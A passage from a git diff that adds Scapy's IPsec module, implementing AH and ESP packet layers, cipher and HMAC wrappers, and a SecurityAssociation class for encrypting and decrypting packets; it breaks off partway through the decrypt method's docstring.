+bind_layers(IPv6, GRE, nh=socket.IPPROTO_GRE) diff --git a/libs/scapy/layers/ipsec.py b/libs/scapy/layers/ipsec.py new file mode 100755 index 0000000..72939d4 --- /dev/null +++ b/libs/scapy/layers/ipsec.py @@ -0,0 +1,1126 @@ +############################################################################# +# ipsec.py --- IPsec support for Scapy # +# # +# Copyright (C) 2014 6WIND # +# # +# This program is free software; you can redistribute it and/or modify it # +# under the terms of the GNU General Public License version 2 as # +# published by the Free Software Foundation. # +# # +# This program is distributed in the hope that it will be useful, but # +# WITHOUT ANY WARRANTY; without even the implied warranty of # +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU # +# General Public License for more details. # +############################################################################# +r""" +IPsec layer +=========== + +Example of use: + +>>> sa = SecurityAssociation(ESP, spi=0xdeadbeef, crypt_algo='AES-CBC', +... crypt_key='sixteenbytes key') +>>> p = IP(src='1.1.1.1', dst='2.2.2.2') +>>> p /= TCP(sport=45012, dport=80) +>>> p /= Raw('testdata') +>>> p = IP(raw(p)) +>>> p +>> # noqa: E501 +>>> +>>> e = sa.encrypt(p) +>>> e +> # noqa: E501 +>>> +>>> d = sa.decrypt(e) +>>> d +>> # noqa: E501 +>>> +>>> d == p +True +""" + +from __future__ import absolute_import +try: + from math import gcd +except ImportError: + from fractions import gcd +import os +import socket +import struct + +from scapy.config import conf, crypto_validator +from scapy.compat import orb, raw +from scapy.data import IP_PROTOS +from scapy.error import log_loading +from scapy.fields import ByteEnumField, ByteField, IntField, PacketField, \ + ShortField, StrField, XIntField, XStrField, XStrLenField +from scapy.packet import Packet, bind_layers, Raw +from scapy.layers.inet import IP, UDP +import scapy.modules.six as six +from scapy.modules.six.moves import range +from scapy.layers.inet6 import IPv6, IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt, \ + IPv6ExtHdrRouting + + +############################################################################### +class AH(Packet): + """ + Authentication Header + + See https://tools.ietf.org/rfc/rfc4302.txt + """ + + name = 'AH' + + def __get_icv_len(self): + """ + Compute the size of the ICV based on the payloadlen field. + Padding size is included as it can only be known from the authentication # noqa: E501 + algorithm provided by the Security Association. + """ + # payloadlen = length of AH in 32-bit words (4-byte units), minus "2" + # payloadlen = 3 32-bit word fixed fields + ICV + padding - 2 + # ICV = (payloadlen + 2 - 3 - padding) in 32-bit words + return (self.payloadlen - 1) * 4 + + fields_desc = [ + ByteEnumField('nh', None, IP_PROTOS), + ByteField('payloadlen', None), + ShortField('reserved', None), + XIntField('spi', 0x0), + IntField('seq', 0), + XStrLenField('icv', None, length_from=__get_icv_len), + # Padding len can only be known with the SecurityAssociation.auth_algo + XStrLenField('padding', None, length_from=lambda x: 0), + ] + + overload_fields = { + IP: {'proto': socket.IPPROTO_AH}, + IPv6: {'nh': socket.IPPROTO_AH}, + IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_AH}, + IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_AH}, + IPv6ExtHdrRouting: {'nh': socket.IPPROTO_AH}, + } + + +bind_layers(IP, AH, proto=socket.IPPROTO_AH) +bind_layers(IPv6, AH, nh=socket.IPPROTO_AH) +bind_layers(AH, IP, nh=socket.IPPROTO_IP) +bind_layers(AH, IPv6, nh=socket.IPPROTO_IPV6) + +############################################################################### + + +class ESP(Packet): + """ + Encapsulated Security Payload + + See https://tools.ietf.org/rfc/rfc4303.txt + """ + name = 'ESP' + + fields_desc = [ + XIntField('spi', 0x0), + IntField('seq', 0), + XStrField('data', None), + ] + + overload_fields = { + IP: {'proto': socket.IPPROTO_ESP}, + IPv6: {'nh': socket.IPPROTO_ESP}, + IPv6ExtHdrHopByHop: {'nh': socket.IPPROTO_ESP}, + IPv6ExtHdrDestOpt: {'nh': socket.IPPROTO_ESP}, + IPv6ExtHdrRouting: {'nh': socket.IPPROTO_ESP}, + } + + +bind_layers(IP, ESP, proto=socket.IPPROTO_ESP) +bind_layers(IPv6, ESP, nh=socket.IPPROTO_ESP) +bind_layers(UDP, ESP, dport=4500) # NAT-Traversal encapsulation +bind_layers(UDP, ESP, sport=4500) # NAT-Traversal encapsulation + +############################################################################### + + +class _ESPPlain(Packet): + """ + Internal class to represent unencrypted ESP packets. + """ + name = 'ESP' + + fields_desc = [ + XIntField('spi', 0x0), + IntField('seq', 0), + + StrField('iv', ''), + PacketField('data', '', Raw), + StrField('padding', ''), + + ByteField('padlen', 0), + ByteEnumField('nh', 0, IP_PROTOS), + StrField('icv', ''), + ] + + def data_for_encryption(self): + return raw(self.data) + self.padding + struct.pack("BB", self.padlen, self.nh) # noqa: E501 + + +############################################################################### +if conf.crypto_valid: + from cryptography.exceptions import InvalidTag + from cryptography.hazmat.backends import default_backend + from cryptography.hazmat.primitives.ciphers import ( + Cipher, + algorithms, + modes, + ) +else: + log_loading.info("Can't import python-cryptography v1.7+. " + "Disabled IPsec encryption/authentication.") + default_backend = None + InvalidTag = Exception + Cipher = algorithms = modes = None + +############################################################################### + + +def _lcm(a, b): + """ + Least Common Multiple between 2 integers. + """ + if a == 0 or b == 0: + return 0 + else: + return abs(a * b) // gcd(a, b) + + +class CryptAlgo(object): + """ + IPsec encryption algorithm + """ + + def __init__(self, name, cipher, mode, block_size=None, iv_size=None, + key_size=None, icv_size=None, salt_size=None, format_mode_iv=None): # noqa: E501 + """ + :param name: the name of this encryption algorithm + :param cipher: a Cipher module + :param mode: the mode used with the cipher module + :param block_size: the length a block for this algo. Defaults to the + `block_size` of the cipher. + :param iv_size: the length of the initialization vector of this algo. + Defaults to the `block_size` of the cipher. + :param key_size: an integer or list/tuple of integers. If specified, + force the secret keys length to one of the values. + Defaults to the `key_size` of the cipher. + :param icv_size: the length of the Integrity Check Value of this algo. + Used by Combined Mode Algorithms e.g. GCM + :param salt_size: the length of the salt to use as the IV prefix. + Usually used by Counter modes e.g. CTR + :param format_mode_iv: function to format the Initialization Vector + e.g. handle the salt value + Default is the random buffer from `generate_iv` + """ + self.name = name + self.cipher = cipher + self.mode = mode + self.icv_size = icv_size + + if modes and self.mode is not None: + self.is_aead = issubclass(self.mode, + modes.ModeWithAuthenticationTag) + else: + self.is_aead = False + + if block_size is not None: + self.block_size = block_size + elif cipher is not None: + self.block_size = cipher.block_size // 8 + else: + self.block_size = 1 + + if iv_size is None: + self.iv_size = self.block_size + else: + self.iv_size = iv_size + + if key_size is not None: + self.key_size = key_size + elif cipher is not None: + self.key_size = tuple(i // 8 for i in cipher.key_sizes) + else: + self.key_size = None + + if salt_size is None: + self.salt_size = 0 + else: + self.salt_size = salt_size + + if format_mode_iv is None: + self._format_mode_iv = lambda iv, **kw: iv + else: + self._format_mode_iv = format_mode_iv + + def check_key(self, key): + """ + Check that the key length is valid. + + :param key: a byte string + """ + if self.key_size and not (len(key) == self.key_size or len(key) in self.key_size): # noqa: E501 + raise TypeError('invalid key size %s, must be %s' % + (len(key), self.key_size)) + + def generate_iv(self): + """ + Generate a random initialization vector. + """ + # XXX: Handle counter modes with real counters? RFCs allow the use of + # XXX: random bytes for counters, so it is not wrong to do it that way + return os.urandom(self.iv_size) + + @crypto_validator + def new_cipher(self, key, mode_iv, digest=None): + """ + :param key: the secret key, a byte string + :param mode_iv: the initialization vector or nonce, a byte string. + Formatted by `format_mode_iv`. + :param digest: also known as tag or icv. A byte string containing the + digest of the encrypted data. Only use this during + decryption! + + :returns: an initialized cipher object for this algo + """ + if self.is_aead and digest is not None: + # With AEAD, the mode needs the digest during decryption. + return Cipher( + self.cipher(key), + self.mode(mode_iv, digest, len(digest)), + default_backend(), + ) + else: + return Cipher( + self.cipher(key), + self.mode(mode_iv), + default_backend(), + ) + + def pad(self, esp): + """ + Add the correct amount of padding so that the data to encrypt is + exactly a multiple of the algorithm's block size. + + Also, make sure that the total ESP packet length is a multiple of 4 + bytes. + + :param esp: an unencrypted _ESPPlain packet + + :returns: an unencrypted _ESPPlain packet with valid padding + """ + # 2 extra bytes for padlen and nh + data_len = len(esp.data) + 2 + + # according to the RFC4303, section 2.4. Padding (for Encryption) + # the size of the ESP payload must be a multiple of 32 bits + align = _lcm(self.block_size, 4) + + # pad for block size + esp.padlen = -data_len % align + + # Still according to the RFC, the default value for padding *MUST* be an # noqa: E501 + # array of bytes starting from 1 to padlen + # TODO: Handle padding function according to the encryption algo + esp.padding = struct.pack("B" * esp.padlen, *range(1, esp.padlen + 1)) + + # If the following test fails, it means that this algo does not comply + # with the RFC + payload_len = len(esp.iv) + len(esp.data) + len(esp.padding) + 2 + if payload_len % 4 != 0: + raise ValueError('The size of the ESP data is not aligned to 32 bits after padding.') # noqa: E501 + + return esp + + def encrypt(self, sa, esp, key, esn_en=False, esn=0): + """ + Encrypt an ESP packet + + :param sa: the SecurityAssociation associated with the ESP packet. + :param esp: an unencrypted _ESPPlain packet with valid padding + :param key: the secret key used for encryption + :esn_en: extended sequence number enable which allows to use 64-bit + sequence number instead of 32-bit when using an AEAD + algorithm + :esn: extended sequence number (32 MSB) + :return: a valid ESP packet encrypted with this algorithm + """ + data = esp.data_for_encryption() + + if self.cipher: + mode_iv = self._format_mode_iv(algo=self, sa=sa, iv=esp.iv) + cipher = self.new_cipher(key, mode_iv) + encryptor = cipher.encryptor() + + if self.is_aead: + if esn_en: + aad = struct.pack('!LLL', esp.spi, esn, esp.seq) + else: + aad = struct.pack('!LL', esp.spi, esp.seq) + encryptor.authenticate_additional_data(aad) + data = encryptor.update(data) + encryptor.finalize() + data += encryptor.tag[:self.icv_size] + else: + data = encryptor.update(data) + encryptor.finalize() + + return ESP(spi=esp.spi, seq=esp.seq, data=esp.iv + data) + + def decrypt(self, sa, esp, key, icv_size=None, esn_en=False, esn=0): + """ + Decrypt an ESP packet + + :param sa: the SecurityAssociation associated with the ESP packet. + :param esp: an encrypted ESP packet + :param key: the secret key used for encryption + :param icv_size: the length of the icv used for integrity check + :param esn_en: extended sequence number enable which allows to use + 64-bit sequence number instead of 32-bit when using an + AEAD algorithm + :param esn: extended sequence number (32 MSB) + :returns: a valid ESP packet encrypted with this algorithm + :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check + fails with an AEAD algorithm + """ + if icv_size is None: + icv_size = self.icv_size if self.is_aead else 0 + + iv = esp.data[:self.iv_size] + data = esp.data[self.iv_size:len(esp.data) - icv_size] + icv = esp.data[len(esp.data) - icv_size:] + + if self.cipher: + mode_iv = self._format_mode_iv(sa=sa, iv=iv) + cipher = self.new_cipher(key, mode_iv, icv) + decryptor = cipher.decryptor() + + if self.is_aead: + # Tag value check is done during the finalize method + if esn_en: + decryptor.authenticate_additional_data( + struct.pack('!LLL', esp.spi, esn, esp.seq)) + else: + decryptor.authenticate_additional_data( + struct.pack('!LL', esp.spi, esp.seq)) + try: + data = decryptor.update(data) + decryptor.finalize() + except InvalidTag as err: + raise IPSecIntegrityError(err) + + # extract padlen and nh + padlen = orb(data[-2]) + nh = orb(data[-1]) + + # then use padlen to determine data and padding + data = data[:len(data) - padlen - 2] + padding = data[len(data) - padlen - 2: len(data) - 2] + + return _ESPPlain(spi=esp.spi, + seq=esp.seq, + iv=iv, + data=data, + padding=padding, + padlen=padlen, + nh=nh, + icv=icv) + +############################################################################### +# The names of the encryption algorithms are the same than in scapy.contrib.ikev2 # noqa: E501 +# see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml + + +CRYPT_ALGOS = { + 'NULL': CryptAlgo('NULL', cipher=None, mode=None, iv_size=0), +} + +if algorithms: + CRYPT_ALGOS['AES-CBC'] = CryptAlgo('AES-CBC', + cipher=algorithms.AES, + mode=modes.CBC) + _aes_ctr_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv + b'\x00\x00\x00\x01' # noqa: E501 + CRYPT_ALGOS['AES-CTR'] = CryptAlgo('AES-CTR', + cipher=algorithms.AES, + mode=modes.CTR, + iv_size=8, + salt_size=4, + format_mode_iv=_aes_ctr_format_mode_iv) + _salt_format_mode_iv = lambda sa, iv, **kw: sa.crypt_salt + iv + CRYPT_ALGOS['AES-GCM'] = CryptAlgo('AES-GCM', + cipher=algorithms.AES, + mode=modes.GCM, + salt_size=4, + iv_size=8, + icv_size=16, + format_mode_iv=_salt_format_mode_iv) + if hasattr(modes, 'CCM'): + CRYPT_ALGOS['AES-CCM'] = CryptAlgo('AES-CCM', + cipher=algorithms.AES, + mode=modes.CCM, + iv_size=8, + salt_size=3, + icv_size=16, + format_mode_iv=_salt_format_mode_iv) + # XXX: Flagged as weak by 'cryptography'. Kept for backward compatibility + CRYPT_ALGOS['Blowfish'] = CryptAlgo('Blowfish', + cipher=algorithms.Blowfish, + mode=modes.CBC) + # XXX: RFC7321 states that DES *MUST NOT* be implemented. + # XXX: Keep for backward compatibility? + # Using a TripleDES cipher algorithm for DES is done by using the same 64 + # bits key 3 times (done by cryptography when given a 64 bits key) + CRYPT_ALGOS['DES'] = CryptAlgo('DES', + cipher=algorithms.TripleDES, + mode=modes.CBC, + key_size=(8,)) + CRYPT_ALGOS['3DES'] = CryptAlgo('3DES', + cipher=algorithms.TripleDES, + mode=modes.CBC) + CRYPT_ALGOS['CAST'] = CryptAlgo('CAST', + cipher=algorithms.CAST5, + mode=modes.CBC) + +############################################################################### +if conf.crypto_valid: + from cryptography.hazmat.primitives.hmac import HMAC + from cryptography.hazmat.primitives.cmac import CMAC + from cryptography.hazmat.primitives import hashes +else: + # no error if cryptography is not available but authentication won't be supported # noqa: E501 + HMAC = CMAC = hashes = None + +############################################################################### + + +class IPSecIntegrityError(Exception): + """ + Error risen when the integrity check fails. + """ + pass + + +class AuthAlgo(object): + """ + IPsec integrity algorithm + """ + + def __init__(self, name, mac, digestmod, icv_size, key_size=None): + """ + :param name: the name of this integrity algorithm + :param mac: a Message Authentication Code module + :param digestmod: a Hash or Cipher module + :param icv_size: the length of the integrity check value of this algo + :param key_size: an integer or list/tuple of integers. If specified, + force the secret keys length to one of the values. + Defaults to the `key_size` of the cipher. + """ + self.name = name + self.mac = mac + self.digestmod = digestmod + self.icv_size = icv_size + self.key_size = key_size + + def check_key(self, key): + """ + Check that the key length is valid. + + :param key: a byte string + """ + if self.key_size and len(key) not in self.key_size: + raise TypeError('invalid key size %s, must be one of %s' % + (len(key), self.key_size)) + + @crypto_validator + def new_mac(self, key): + """ + :param key: a byte string + :returns: an initialized mac object for this algo + """ + if self.mac is CMAC: + return self.mac(self.digestmod(key), default_backend()) + else: + return self.mac(key, self.digestmod(), default_backend()) + + def sign(self, pkt, key, esn_en=False, esn=0): + """ + Sign an IPsec (ESP or AH) packet with this algo. + + :param pkt: a packet that contains a valid encrypted ESP or AH layer + :param key: the authentication key, a byte string + :param esn_en: extended sequence number enable which allows to use + 64-bit sequence number instead of 32-bit + :param esn: extended sequence number (32 MSB) + + :returns: the signed packet + """ + if not self.mac: + return pkt + + mac = self.new_mac(key) + + if pkt.haslayer(ESP): + mac.update(raw(pkt[ESP])) + pkt[ESP].data += mac.finalize()[:self.icv_size] + + elif pkt.haslayer(AH): + clone = zero_mutable_fields(pkt.copy(), sending=True) + if esn_en: + temp = raw(clone) + struct.pack('!L', esn) + else: + temp = raw(clone) + mac.update(temp) + pkt[AH].icv = mac.finalize()[:self.icv_size] + + return pkt + + def verify(self, pkt, key, esn_en=False, esn=0): + """ + Check that the integrity check value (icv) of a packet is valid. + + :param pkt: a packet that contains a valid encrypted ESP or AH layer + :param key: the authentication key, a byte string + :param esn_en: extended sequence number enable which allows to use + 64-bit sequence number instead of 32-bit + :param esn: extended sequence number (32 MSB) + + :raise scapy.layers.ipsec.IPSecIntegrityError: if the integrity check + fails + """ + if not self.mac or self.icv_size == 0: + return + + mac = self.new_mac(key) + + pkt_icv = 'not found' + + if isinstance(pkt, ESP): + pkt_icv = pkt.data[len(pkt.data) - self.icv_size:] + clone = pkt.copy() + clone.data = clone.data[:len(clone.data) - self.icv_size] + temp = raw(clone) + + elif pkt.haslayer(AH): + if len(pkt[AH].icv) != self.icv_size: + # Fill padding since we know the actual icv_size + pkt[AH].padding = pkt[AH].icv[self.icv_size:] + pkt[AH].icv = pkt[AH].icv[:self.icv_size] + pkt_icv = pkt[AH].icv + clone = zero_mutable_fields(pkt.copy(), sending=False) + if esn_en: + temp = raw(clone) + struct.pack('!L', esn) + else: + temp = raw(clone) + + mac.update(temp) + computed_icv = mac.finalize()[:self.icv_size] + + # XXX: Cannot use mac.verify because the ICV can be truncated + if pkt_icv != computed_icv: + raise IPSecIntegrityError('pkt_icv=%r, computed_icv=%r' % + (pkt_icv, computed_icv)) + +############################################################################### +# The names of the integrity algorithms are the same than in scapy.contrib.ikev2 # noqa: E501 +# see http://www.iana.org/assignments/ikev2-parameters/ikev2-parameters.xhtml + + +AUTH_ALGOS = { + 'NULL': AuthAlgo('NULL', mac=None, digestmod=None, icv_size=0), +} + +if HMAC and hashes: + # XXX: NIST has deprecated SHA1 but is required by RFC7321 + AUTH_ALGOS['HMAC-SHA1-96'] = AuthAlgo('HMAC-SHA1-96', + mac=HMAC, + digestmod=hashes.SHA1, + icv_size=12) + AUTH_ALGOS['SHA2-256-128'] = AuthAlgo('SHA2-256-128', + mac=HMAC, + digestmod=hashes.SHA256, + icv_size=16) + AUTH_ALGOS['SHA2-384-192'] = AuthAlgo('SHA2-384-192', + mac=HMAC, + digestmod=hashes.SHA384, + icv_size=24) + AUTH_ALGOS['SHA2-512-256'] = AuthAlgo('SHA2-512-256', + mac=HMAC, + digestmod=hashes.SHA512, + icv_size=32) + # XXX:Flagged as deprecated by 'cryptography'. Kept for backward compat + AUTH_ALGOS['HMAC-MD5-96'] = AuthAlgo('HMAC-MD5-96', + mac=HMAC, + digestmod=hashes.MD5, + icv_size=12) +if CMAC and algorithms: + AUTH_ALGOS['AES-CMAC-96'] = AuthAlgo('AES-CMAC-96', + mac=CMAC, + digestmod=algorithms.AES, + icv_size=12, + key_size=(16,)) + +############################################################################### + + +def split_for_transport(orig_pkt, transport_proto): + """ + Split an IP(v6) packet in the correct location to insert an ESP or AH + header. + + :param orig_pkt: the packet to split. Must be an IP or IPv6 packet + :param transport_proto: the IPsec protocol number that will be inserted + at the split position. + :returns: a tuple (header, nh, payload) where nh is the protocol number of + payload. + """ + # force resolution of default fields to avoid padding errors + header = orig_pkt.__class__(raw(orig_pkt)) + next_hdr = header.payload + nh = None + + if header.version == 4: + nh = header.proto + header.proto = transport_proto + header.remove_payload() + del header.chksum + del header.len + + return header, nh, next_hdr + else: + found_rt_hdr = False + prev = header + + # Since the RFC 4302 is vague about where the ESP/AH headers should be + # inserted in IPv6, I chose to follow the linux implementation. + while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): # noqa: E501 + if isinstance(next_hdr, IPv6ExtHdrHopByHop): + pass + if isinstance(next_hdr, IPv6ExtHdrRouting): + found_rt_hdr = True + elif isinstance(next_hdr, IPv6ExtHdrDestOpt) and found_rt_hdr: + break + + prev = next_hdr + next_hdr = next_hdr.payload + + nh = prev.nh + prev.nh = transport_proto + prev.remove_payload() + del header.plen + + return header, nh, next_hdr + + +############################################################################### +# see RFC 4302 - Appendix A. Mutability of IP Options/Extension Headers +IMMUTABLE_IPV4_OPTIONS = ( + 0, # End Of List + 1, # No OPeration + 2, # Security + 5, # Extended Security + 6, # Commercial Security + 20, # Router Alert + 21, # Sender Directed Multi-Destination Delivery +) + + +def zero_mutable_fields(pkt, sending=False): + """ + When using AH, all "mutable" fields must be "zeroed" before calculating + the ICV. See RFC 4302, Section 3.3.3.1. Handling Mutable Fields. + + :param pkt: an IP(v6) packet containing an AH layer. + NOTE: The packet will be modified + :param sending: if true, ipv6 routing headers will not be reordered + """ + + if pkt.haslayer(AH): + pkt[AH].icv = b"\x00" * len(pkt[AH].icv) + else: + raise TypeError('no AH layer found') + + if pkt.version == 4: + # the tos field has been replaced by DSCP and ECN + # Routers may rewrite the DS field as needed to provide a + # desired local or end-to-end service + pkt.tos = 0 + # an intermediate router might set the DF bit, even if the source + # did not select it. + pkt.flags = 0 + # changed en route as a normal course of processing by routers + pkt.ttl = 0 + # will change if any of these other fields change + pkt.chksum = 0 + + immutable_opts = [] + for opt in pkt.options: + if opt.option in IMMUTABLE_IPV4_OPTIONS: + immutable_opts.append(opt) + else: + immutable_opts.append(Raw(b"\x00" * len(opt))) + pkt.options = immutable_opts + + else: + # holds DSCP and ECN + pkt.tc = 0 + # The flow label described in AHv1 was mutable, and in RFC 2460 [DH98] + # was potentially mutable. To retain compatibility with existing AH + # implementations, the flow label is not included in the ICV in AHv2. + pkt.fl = 0 + # same as ttl + pkt.hlim = 0 + + next_hdr = pkt.payload + + while isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrRouting, IPv6ExtHdrDestOpt)): # noqa: E501 + if isinstance(next_hdr, (IPv6ExtHdrHopByHop, IPv6ExtHdrDestOpt)): + for opt in next_hdr.options: + if opt.otype & 0x20: + # option data can change en-route and must be zeroed + opt.optdata = b"\x00" * opt.optlen + elif isinstance(next_hdr, IPv6ExtHdrRouting) and sending: + # The sender must order the field so that it appears as it + # will at the receiver, prior to performing the ICV computation. # noqa: E501 + next_hdr.segleft = 0 + if next_hdr.addresses: + final = next_hdr.addresses.pop() + next_hdr.addresses.insert(0, pkt.dst) + pkt.dst = final + else: + break + + next_hdr = next_hdr.payload + + return pkt + +############################################################################### + + +class SecurityAssociation(object): + """ + This class is responsible of "encryption" and "decryption" of IPsec packets. # noqa: E501 + """ + + SUPPORTED_PROTOS = (IP, IPv6) + + def __init__(self, proto, spi, seq_num=1, crypt_algo=None, crypt_key=None, + auth_algo=None, auth_key=None, tunnel_header=None, nat_t_header=None, esn_en=False, esn=0): # noqa: E501 + """ + :param proto: the IPsec proto to use (ESP or AH) + :param spi: the Security Parameters Index of this SA + :param seq_num: the initial value for the sequence number on encrypted + packets + :param crypt_algo: the encryption algorithm name (only used with ESP) + :param crypt_key: the encryption key (only used with ESP) + :param auth_algo: the integrity algorithm name + :param auth_key: the integrity key + :param tunnel_header: an instance of a IP(v6) header that will be used + to encapsulate the encrypted packets. + :param nat_t_header: an instance of a UDP header that will be used + for NAT-Traversal. + :param esn_en: extended sequence number enable which allows to use + 64-bit sequence number instead of 32-bit when using an + AEAD algorithm + :param esn: extended sequence number (32 MSB) + """ + + if proto not in (ESP, AH, ESP.name, AH.name): + raise ValueError("proto must be either ESP or AH") + if isinstance(proto, six.string_types): + self.proto = eval(proto) + else: + self.proto = proto + + self.spi = spi + self.seq_num = seq_num + self.esn_en = esn_en + # Get Extended Sequence (32 MSB) + self.esn = esn + if crypt_algo: + if crypt_algo not in CRYPT_ALGOS: + raise TypeError('unsupported encryption algo %r, try %r' % + (crypt_algo, list(CRYPT_ALGOS))) + self.crypt_algo = CRYPT_ALGOS[crypt_algo] + + if crypt_key: + salt_size = self.crypt_algo.salt_size + self.crypt_key = crypt_key[:len(crypt_key) - salt_size] + self.crypt_salt = crypt_key[len(crypt_key) - salt_size:] + else: + self.crypt_key = None + self.crypt_salt = None + + else: + self.crypt_algo = CRYPT_ALGOS['NULL'] + self.crypt_key = None + + if auth_algo: + if auth_algo not in AUTH_ALGOS: + raise TypeError('unsupported integrity algo %r, try %r' % + (auth_algo, list(AUTH_ALGOS))) + self.auth_algo = AUTH_ALGOS[auth_algo] + self.auth_key = auth_key + else: + self.auth_algo = AUTH_ALGOS['NULL'] + self.auth_key = None + + if tunnel_header and not isinstance(tunnel_header, (IP, IPv6)): + raise TypeError('tunnel_header must be %s or %s' % (IP.name, IPv6.name)) # noqa: E501 + self.tunnel_header = tunnel_header + + if nat_t_header: + if proto is not ESP: + raise TypeError('nat_t_header is only allowed with ESP') + if not isinstance(nat_t_header, UDP): + raise TypeError('nat_t_header must be %s' % UDP.name) + self.nat_t_header = nat_t_header + + def check_spi(self, pkt): + if pkt.spi != self.spi: + raise TypeError('packet spi=0x%x does not match the SA spi=0x%x' % + (pkt.spi, self.spi)) + + def _encrypt_esp(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None): + + if iv is None: + iv = self.crypt_algo.generate_iv() + else: + if len(iv) != self.crypt_algo.iv_size: + raise TypeError('iv length must be %s' % self.crypt_algo.iv_size) # noqa: E501 + + esp = _ESPPlain(spi=self.spi, seq=seq_num or self.seq_num, iv=iv) + + if self.tunnel_header: + tunnel = self.tunnel_header.copy() + + if tunnel.version == 4: + del tunnel.proto + del tunnel.len + del tunnel.chksum + else: + del tunnel.nh + del tunnel.plen + + pkt = tunnel.__class__(raw(tunnel / pkt)) + + ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_ESP) + esp.data = payload + esp.nh = nh + + esp = self.crypt_algo.pad(esp) + esp = self.crypt_algo.encrypt(self, esp, self.crypt_key, + esn_en=esn_en or self.esn_en, + esn=esn or self.esn) + + self.auth_algo.sign(esp, self.auth_key) + + if self.nat_t_header: + nat_t_header = self.nat_t_header.copy() + nat_t_header.chksum = 0 + del nat_t_header.len + if ip_header.version == 4: + del ip_header.proto + else: + del ip_header.nh + ip_header /= nat_t_header + + if ip_header.version == 4: + ip_header.len = len(ip_header) + len(esp) + del ip_header.chksum + ip_header = ip_header.__class__(raw(ip_header)) + else: + ip_header.plen = len(ip_header.payload) + len(esp) + + # sequence number must always change, unless specified by the user + if seq_num is None: + self.seq_num += 1 + + return ip_header / esp + + def _encrypt_ah(self, pkt, seq_num=None, esn_en=False, esn=0): + + ah = AH(spi=self.spi, seq=seq_num or self.seq_num, + icv=b"\x00" * self.auth_algo.icv_size) + + if self.tunnel_header: + tunnel = self.tunnel_header.copy() + + if tunnel.version == 4: + del tunnel.proto + del tunnel.len + del tunnel.chksum + else: + del tunnel.nh + del tunnel.plen + + pkt = tunnel.__class__(raw(tunnel / pkt)) + + ip_header, nh, payload = split_for_transport(pkt, socket.IPPROTO_AH) + ah.nh = nh + + if ip_header.version == 6 and len(ah) % 8 != 0: + # For IPv6, the total length of the header must be a multiple of + # 8-octet units. + ah.padding = b"\x00" * (-len(ah) % 8) + elif len(ah) % 4 != 0: + # For IPv4, the total length of the header must be a multiple of + # 4-octet units. + ah.padding = b"\x00" * (-len(ah) % 4) + + # RFC 4302 - Section 2.2. Payload Length + # This 8-bit field specifies the length of AH in 32-bit words (4-byte + # units), minus "2". + ah.payloadlen = len(ah) // 4 - 2 + + if ip_header.version == 4: + ip_header.len = len(ip_header) + len(ah) + len(payload) + del ip_header.chksum + ip_header = ip_header.__class__(raw(ip_header)) + else: + ip_header.plen = len(ip_header.payload) + len(ah) + len(payload) + + signed_pkt = self.auth_algo.sign(ip_header / ah / payload, + self.auth_key, + esn_en=esn_en or self.esn_en, + esn=esn or self.esn) + + # sequence number must always change, unless specified by the user + if seq_num is None: + self.seq_num += 1 + + return signed_pkt + + def encrypt(self, pkt, seq_num=None, iv=None, esn_en=None, esn=None): + """ + Encrypt (and encapsulate) an IP(v6) packet with ESP or AH according + to this SecurityAssociation. + + :param pkt: the packet to encrypt + :param seq_num: if specified, use this sequence number instead of the + generated one + :param esn_en: extended sequence number enable which allows to + use 64-bit sequence number instead of 32-bit when + using an AEAD algorithm + :param esn: extended sequence number (32 MSB) + :param iv: if specified, use this initialization vector for + encryption instead of a random one. + + :returns: the encrypted/encapsulated packet + """ + if not isinstance(pkt, self.SUPPORTED_PROTOS): + raise TypeError('cannot encrypt %s, supported protos are %s' + % (pkt.__class__, self.SUPPORTED_PROTOS)) + if self.proto is ESP: + return self._encrypt_esp(pkt, seq_num=seq_num, + iv=iv, esn_en=esn_en, + esn=esn) + else: + return self._encrypt_ah(pkt, seq_num=seq_num, + esn_en=esn_en, esn=esn) + + def _decrypt_esp(self, pkt, verify=True, esn_en=None, esn=None): + + encrypted = pkt[ESP] + + if verify: + self.check_spi(pkt) + self.auth_algo.verify(encrypted, self.auth_key) + + esp = self.crypt_algo.decrypt(self, encrypted, self.crypt_key, + self.crypt_algo.icv_size or + self.auth_algo.icv_size, + esn_en=esn_en or self.esn_en, + esn=esn or self.esn) + + if self.tunnel_header: + # drop the tunnel header and return the payload untouched + + pkt.remove_payload() + if pkt.version == 4: + pkt.proto = esp.nh + else: + pkt.nh = esp.nh + cls = pkt.guess_payload_class(esp.data) + + return cls(esp.data) + else: + ip_header = pkt + + if ip_header.version == 4: + ip_header.proto = esp.nh + del ip_header.chksum + ip_header.remove_payload() + ip_header.len = len(ip_header) + len(esp.data) + # recompute checksum + ip_header = ip_header.__class__(raw(ip_header)) + else: + encrypted.underlayer.nh = esp.nh + encrypted.underlayer.remove_payload() + ip_header.plen = len(ip_header.payload) + len(esp.data) + + cls = ip_header.guess_payload_class(esp.data) + + # reassemble the ip_header with the ESP payload + return ip_header / cls(esp.data) + + def _decrypt_ah(self, pkt, verify=True, esn_en=None, esn=None): + + if verify: + self.check_spi(pkt) + self.auth_algo.verify(pkt, self.auth_key, + esn_en=esn_en or self.esn_en, + esn=esn or self.esn) + + ah = pkt[AH] + payload = ah.payload + payload.remove_underlayer(None) # useless argument... + + if self.tunnel_header: + return payload + else: + ip_header = pkt + + if ip_header.version == 4: + ip_header.proto = ah.nh + del ip_header.chksum + ip_header.remove_payload() + ip_header.len = len(ip_header) + len(payload) + # recompute checksum + ip_header = ip_header.__class__(raw(ip_header)) + else: + ah.underlayer.nh = ah.nh + ah.underlayer.remove_payload() + ip_header.plen = len(ip_header.payload) + len(payload) + + # reassemble the ip_header with the AH payload + return ip_header / payload + + def decrypt(self, pkt, verify=True, esn_en=None, esn=None): + """ + Decrypt (and decapsulate) an IP(v6) packet containing ESP or AH. + + :param pkt: the packet to decrypt + :param verify: if False, do not perform the integrity check + :param esn_en: extended sequence number enable which allows to use + 64-bit sequence number instead of 32-bit when using an + AEAD algorithm + :param esn: extended sequence number (32 MSB) + :returns: the decrypted/decapsulated 